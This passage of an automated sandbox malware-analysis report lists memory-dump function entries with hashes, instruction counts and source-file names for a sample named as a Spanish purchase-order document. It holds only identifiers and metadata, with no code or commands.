                                                                                                              • Opcode Fuzzy Hash: 7b795c87a28f9e55e054bba4bfb568f747a5315f34f80a390713331c7c1425de
                                                                                                              • Instruction Fuzzy Hash: 78E04F367006105FC310DB5ED884D9BBBE9EB89660755857AE50DCB321DA71AC058790
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730C440 Relevance: .0, Instructions: 24COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 59e46fb7aa4f44e885d9d93c90e642c408ea21b22d03836c99d68ad5728b7e29
                                                                                                              • Instruction ID: 51725e9c8476d9d379c2afc18f28024b0193680ea03666871a0cc8a97271aa1e
                                                                                                              • Opcode Fuzzy Hash: 59e46fb7aa4f44e885d9d93c90e642c408ea21b22d03836c99d68ad5728b7e29
                                                                                                              • Instruction Fuzzy Hash: 0EF032B0D05308EFDB40DFA8E448AADBBB9FB0A300F1082A9D808A3351D7359A40DF91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730B33F Relevance: .0, Instructions: 23COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 5d1c68c5c218d4cc07fdd9d08a439e873e247f7370562237acae8c1985f75487
                                                                                                              • Instruction ID: c8ee3a33542b4eef479f11d4812c896fb25d2b9a0e95d8805261e160236e0058
                                                                                                              • Opcode Fuzzy Hash: 5d1c68c5c218d4cc07fdd9d08a439e873e247f7370562237acae8c1985f75487
                                                                                                              • Instruction Fuzzy Hash: 2FE0E5F4A1B258CFEB04CB64CCE49ACF77EAB06100F0050A9800DAB59ACA301A48CB52
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FF10B0 Relevance: .0, Instructions: 22COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 80089e7ed4d4237795ad50d6187ddffc7d3fd4df80e46879fcdd1cd69a4f34d8
                                                                                                              • Instruction ID: 3239e66a933aa46d82854fe5aa281997c4658180d5f7db2f4fea32f770d229a1
                                                                                                              • Opcode Fuzzy Hash: 80089e7ed4d4237795ad50d6187ddffc7d3fd4df80e46879fcdd1cd69a4f34d8
                                                                                                              • Instruction Fuzzy Hash: 47E0C2353147185BD308678C68107AE7AC98FC9741F00847BF70A8B391C9A19C0002DA
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 073051F8 Relevance: .0, Instructions: 22COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: d1283a0a4f4c5758408b529cdb76a06a3cd6ea0ee2897282ae7e94363e17acff
                                                                                                              • Instruction ID: e4b73f9fa769ffb29fe4c613824796df7c6bd49c83fbecaa70cd772af8477a24
                                                                                                              • Opcode Fuzzy Hash: d1283a0a4f4c5758408b529cdb76a06a3cd6ea0ee2897282ae7e94363e17acff
                                                                                                              • Instruction Fuzzy Hash: D7E0E5B4E05208EFDB84DFA8D455AADBBF8EB89200F10C0A98808D3381D6359E52CF84
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730CF84 Relevance: .0, Instructions: 22COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 86f24c4a0d52d37286fe0a5318a6f90982765efeaad810e14f0a8269964013e9
                                                                                                              • Instruction ID: 5e8960b0330a293672d45bd200cfda73747d7ebc18b9839cc44a54d4f91ed1d8
                                                                                                              • Opcode Fuzzy Hash: 86f24c4a0d52d37286fe0a5318a6f90982765efeaad810e14f0a8269964013e9
                                                                                                              • Instruction Fuzzy Hash: D5F039F0626118CFD724CB54C2B48EC77BAFB4A301F50A249E40EAB684C335A841CFA2
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFCE1A Relevance: .0, Instructions: 21COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 3c2d3aa10a8c78a314afa39dbe754000ac4e1f8cf377417e953deb7f20b884a1
                                                                                                              • Instruction ID: 246edb1e93f2220996ab86befb76b21d0655cc61b0d429f09a9149778bc54ad2
                                                                                                              • Opcode Fuzzy Hash: 3c2d3aa10a8c78a314afa39dbe754000ac4e1f8cf377417e953deb7f20b884a1
                                                                                                              • Instruction Fuzzy Hash: 95E02278524121CFCB90CF68C48589CBBB6FF40300F0090E0C5099B228D731EA40CF00
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE0D19 Relevance: .0, Instructions: 21COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 14a8dd480c90d755e94c18b2201d721ab35a3c848c4b39e91cc63a9a62bcb61f
                                                                                                              • Instruction ID: 91f6360360d14d7280d1744ae758be4daac56af991a9b928462c5e46cd4af152
                                                                                                              • Opcode Fuzzy Hash: 14a8dd480c90d755e94c18b2201d721ab35a3c848c4b39e91cc63a9a62bcb61f
                                                                                                              • Instruction Fuzzy Hash: B6E020344053458FC3618A29C8044017F305F03229B1843DAD4444B2F3C673F827CBD1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730B25B Relevance: .0, Instructions: 21COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: e5d1b829acda81dc2703218e3c1e4da04034523dbf45e1a5755dad354c30a60a
                                                                                                              • Instruction ID: 36652f4e9b215286b0f5bb06cf9a2bbe89c9ad35a356d2ea91d2e4a01d0bcfb9
                                                                                                              • Opcode Fuzzy Hash: e5d1b829acda81dc2703218e3c1e4da04034523dbf45e1a5755dad354c30a60a
                                                                                                              • Instruction Fuzzy Hash: 43E0D8F464A254CFEB14CF68DCE0AE8B77EAB0A100F0051E9C10D87657CA701689CF42
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FEA238 Relevance: .0, Instructions: 20COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 25ea01047e37bde7f197f387cd96ed3174557b14807eb82c26cae33d5ea279e1
                                                                                                              • Instruction ID: 51fccdb0df8c3a2c04db8080eff9c00f3b60f26e89d3424c41344c3b9acf4000
                                                                                                              • Opcode Fuzzy Hash: 25ea01047e37bde7f197f387cd96ed3174557b14807eb82c26cae33d5ea279e1
                                                                                                              • Instruction Fuzzy Hash: 30D01730F016209BD6A977B5981866EBA999F82961B80043D8816972A0EE66D851D784
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FEA1F8 Relevance: .0, Instructions: 20COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 20ebfdfcfa27a8901c13097e41855ccbc60c3f066eafc6d803c4cead6792a38f
                                                                                                              • Instruction ID: 2139b1ea0bd143be2c7154a687078aa3cf570059fbdc304c2464b6f6a951b168
                                                                                                              • Opcode Fuzzy Hash: 20ebfdfcfa27a8901c13097e41855ccbc60c3f066eafc6d803c4cead6792a38f
                                                                                                              • Instruction Fuzzy Hash: 8FD02B3140A6448FE3854614AC187D33B689B01238F15419BE5844F99383779857CFB2
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07303710 Relevance: .0, Instructions: 20COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 6bc32c9d253891c321d95504dc46df5ccea28530c92dd26e91dee06aeec0c371
                                                                                                              • Instruction ID: aede270bd695997256a41ff76c8d791cde23fb91e3dfd9ab18e5e2d9ce54ef1e
                                                                                                              • Opcode Fuzzy Hash: 6bc32c9d253891c321d95504dc46df5ccea28530c92dd26e91dee06aeec0c371
                                                                                                              • Instruction Fuzzy Hash: 90E0C2F180A249FFE780EFB0E41C69D77FCDB0B301F1004AAC00993190EA324A5097C1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFA069 Relevance: .0, Instructions: 19COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: de3f753f581e8e6d577ae0ca396b9c4e0bfe2d309c827a4311e95ec3903569f3
                                                                                                              • Instruction ID: a70790f97cfb06ff2f5075b662070ab22c325ab63fc0f6885a246de32f3c0fc8
                                                                                                              • Opcode Fuzzy Hash: de3f753f581e8e6d577ae0ca396b9c4e0bfe2d309c827a4311e95ec3903569f3
                                                                                                              • Instruction Fuzzy Hash: 2AE01231455385DFC3525BF4A61B2557FF8AF0B306F1450EAE48ACB072DBB50854DB16
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFFFA0 Relevance: .0, Instructions: 17COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 9f5bb58d5cfda55b650b1c544fb8787624bf87261cd8a6e81bdd3895036fddb6
                                                                                                              • Instruction ID: 80a16108c49268092baa0a865204730dac38b9848b65bb5aea95b1f63984c6e9
                                                                                                              • Opcode Fuzzy Hash: 9f5bb58d5cfda55b650b1c544fb8787624bf87261cd8a6e81bdd3895036fddb6
                                                                                                              • Instruction Fuzzy Hash: C1E0C270D0520CEBCB40EFE8E81935CBBB8EB41302F2040A9D908533C0CA310E01CB82
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFAA22 Relevance: .0, Instructions: 15COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 522a1cf155582f775d29f73bc72f4c3a92e2aa9f2dc303f60b5b2e2d562d82ec
                                                                                                              • Instruction ID: cc864ff187a2c49623430ce6be9b33319dd055069286f6c026531225329c587a
                                                                                                              • Opcode Fuzzy Hash: 522a1cf155582f775d29f73bc72f4c3a92e2aa9f2dc303f60b5b2e2d562d82ec
                                                                                                              • Instruction Fuzzy Hash: 59E01A3191066ACFCB94CFA8C884B8CBBB5BF44300F00D49AD00DB6224DB301A89CF24
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FF6398 Relevance: .0, Instructions: 13COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 1f1c0ebe591dcbf37413369d94f1f395c2cfeab0b390ad6867ae8837c7f6b23b
                                                                                                              • Instruction ID: a30a5932dfb8893a025ab15514346433f94865da1c5599bffc2f2d4e1670b840
                                                                                                              • Opcode Fuzzy Hash: 1f1c0ebe591dcbf37413369d94f1f395c2cfeab0b390ad6867ae8837c7f6b23b
                                                                                                              • Instruction Fuzzy Hash: A8D0C930A60309DBDB505BB2DC0AA257A98AB14351F40C035AA45C6270DE35C455D665
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE56C6 Relevance: .0, Instructions: 13COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 3036e7211ee371246b83363209b6a740e1dec0333b9c2f0de2987d384c0f2e96
                                                                                                              • Instruction ID: 7867a9fc5ff2bdbf0cbeff4aa43f47c3a7ae35531b1106a10331c24895e08c83
                                                                                                              • Opcode Fuzzy Hash: 3036e7211ee371246b83363209b6a740e1dec0333b9c2f0de2987d384c0f2e96
                                                                                                              • Instruction Fuzzy Hash: D0D0923AA00109CFDB00DB98E489AECB7F0FB89319F2441A6D60997225C3326D55CB80
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 073069D8 Relevance: .0, Instructions: 11COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: be1167c9a7064766a52ce618141af7ddb1530656913ac84136d8ff05e94f05e2
                                                                                                              • Instruction ID: 44f372638a479d0c611d5bece0337f1ca73f0f93e6f6c8fe6ddf9d133985185f
                                                                                                              • Opcode Fuzzy Hash: be1167c9a7064766a52ce618141af7ddb1530656913ac84136d8ff05e94f05e2
                                                                                                              • Instruction Fuzzy Hash: D4C012A60092805FF30353309820A807F706F53104B1980D7D1C05F0B3911A45299B52
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFC671 Relevance: .0, Instructions: 10COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 67b8f4bcfa7f5a52cfd022154b7b74a69f27e37fd1bbe5c7a54d66a405dcc1c7
                                                                                                              • Instruction ID: b83211fe0392362865c4ceedf236303b653255972b3a4edfe82cbc1e5dc71a47
                                                                                                              • Opcode Fuzzy Hash: 67b8f4bcfa7f5a52cfd022154b7b74a69f27e37fd1bbe5c7a54d66a405dcc1c7
                                                                                                              • Instruction Fuzzy Hash: DFD0C971A17665CFCB48CFA4C195449BBF2EF49306F2084989006AB228C735DE41CA04
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FF5910 Relevance: .0, Instructions: 10COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 5f2631f04e1cfa23634d6b38b32bcf52a7ba2705564639c573a8c192876c54e4
                                                                                                              • Instruction ID: f50510afac423c19b9d29521374032e260914b530d0cec89525f8757ce0baa66
                                                                                                              • Opcode Fuzzy Hash: 5f2631f04e1cfa23634d6b38b32bcf52a7ba2705564639c573a8c192876c54e4
                                                                                                              • Instruction Fuzzy Hash: 85C0023604420DBBCF125EC1EC06EDA3F2AFB08750F048405FA190806187B39570BBA2
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FEA208 Relevance: .0, Instructions: 10COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 545b6715bda906da09ccfd0050f7c53f1cc54911d1c7689dc71941dabfe12e5d
                                                                                                              • Instruction ID: 12bc744c5d2fe3c364df8e2c7409b53abb986aabbcec85f97e2a0d7c173edaca
                                                                                                              • Opcode Fuzzy Hash: 545b6715bda906da09ccfd0050f7c53f1cc54911d1c7689dc71941dabfe12e5d
                                                                                                              • Instruction Fuzzy Hash: 4EC08031804504CBD7D48B45F50C7617794E74031DF24845CD10C0D1528777D857CF91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730AF38 Relevance: .0, Instructions: 10COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: ac7a8bebcdbf470509f0a7046cf6db0d87882a404400a0b4f4414295f2b9240a
                                                                                                              • Instruction ID: c1e446310a513a6415212b26dffefb77b686b26d4e6278e1d7351c1423860b8f
                                                                                                              • Opcode Fuzzy Hash: ac7a8bebcdbf470509f0a7046cf6db0d87882a404400a0b4f4414295f2b9240a
                                                                                                              • Instruction Fuzzy Hash: 18C02BF00033048FD35027D4FD1F324736CA701606F80D020D60D809D08FBA4800CF9A
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07300AA2 Relevance: .0, Instructions: 10COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 3b052ec20127dcc8aa52a34edb323a2d71b4c43cbeb343d19d9cfe617de2552b
                                                                                                              • Instruction ID: ac14fb3f036e36218b99cf3d7cec432c9c2496fecd2c3510cc0f461635efe50b
                                                                                                              • Opcode Fuzzy Hash: 3b052ec20127dcc8aa52a34edb323a2d71b4c43cbeb343d19d9cfe617de2552b
                                                                                                              • Instruction Fuzzy Hash: 61D0A9B4D412098FCB08CFE8CA8038CB7B5FB89200F009592D00CB7108E2B05A0A8F50
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07308358 Relevance: .0, Instructions: 9COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 965f4a4e7a934cdf91db035e46e686f1d365ec8d2a837408f4507125b909ef3c
                                                                                                              • Instruction ID: 9f760bd5c79501bf5d4760c43cb2d0241feb56b922ccb47cba4e7a864f5e2715
                                                                                                              • Opcode Fuzzy Hash: 965f4a4e7a934cdf91db035e46e686f1d365ec8d2a837408f4507125b909ef3c
                                                                                                              • Instruction Fuzzy Hash: 90C092B516D7C2DFE30A67708822591BFA4AA6720031550D381CECA4E3C16809BBC36B
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07306CFC Relevance: .0, Instructions: 8COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 5d8808cc090fae07ab32c81fb18f1abb822e335abc39f39477abaebdbe5c01f8
                                                                                                              • Instruction ID: d84073c4fd16f253e11605696ef5cf731d82ce142737b10dc613c82ab62f8c99
                                                                                                              • Opcode Fuzzy Hash: 5d8808cc090fae07ab32c81fb18f1abb822e335abc39f39477abaebdbe5c01f8
                                                                                                              • Instruction Fuzzy Hash: 7EB012EB1A5701E7B0046BA4C8A1B1E9C50FFF7701F40DC56320C054C0C431487DD25B
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07308363 Relevance: .0, Instructions: 6COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 30fbb466a7db5ef7d6c5bc7efe568f27b5a15b52747c40b4fb469f0cd7f54fa4
                                                                                                              • Instruction ID: 9c49df4651f1bdceefa09fa73b80f0b51c987a7ed477f9d56ed2eacb0f4f07bf
                                                                                                              • Opcode Fuzzy Hash: 30fbb466a7db5ef7d6c5bc7efe568f27b5a15b52747c40b4fb469f0cd7f54fa4
                                                                                                              • Instruction Fuzzy Hash: F4B01283150D81C7730063208002AC54B004E63624384C061811506182804060728A5A
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730CFE6 Relevance: .0, Instructions: 6COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 5d85f0903aa44a7df46db1e1e5a5b7d28a70e0fda6ebc7edb1168d3fe2d9913a
                                                                                                              • Instruction ID: e1c8487624a96aa539360c6e296af1f98fce3b2d06a05962e3d307b749c634b4
                                                                                                              • Opcode Fuzzy Hash: 5d85f0903aa44a7df46db1e1e5a5b7d28a70e0fda6ebc7edb1168d3fe2d9913a
                                                                                                              • Instruction Fuzzy Hash: A9B092B042D410DADB501B24D86E2917A78FB1737174413A1883E4A0EA832649429FA2
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Non-executed Functions

                                                                                                              Function 07308978 Relevance: 5.3, Strings: 4, Instructions: 256COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: ixc$ixc$1]<$X9N
                                                                                                              • API String ID: 0-2840421495
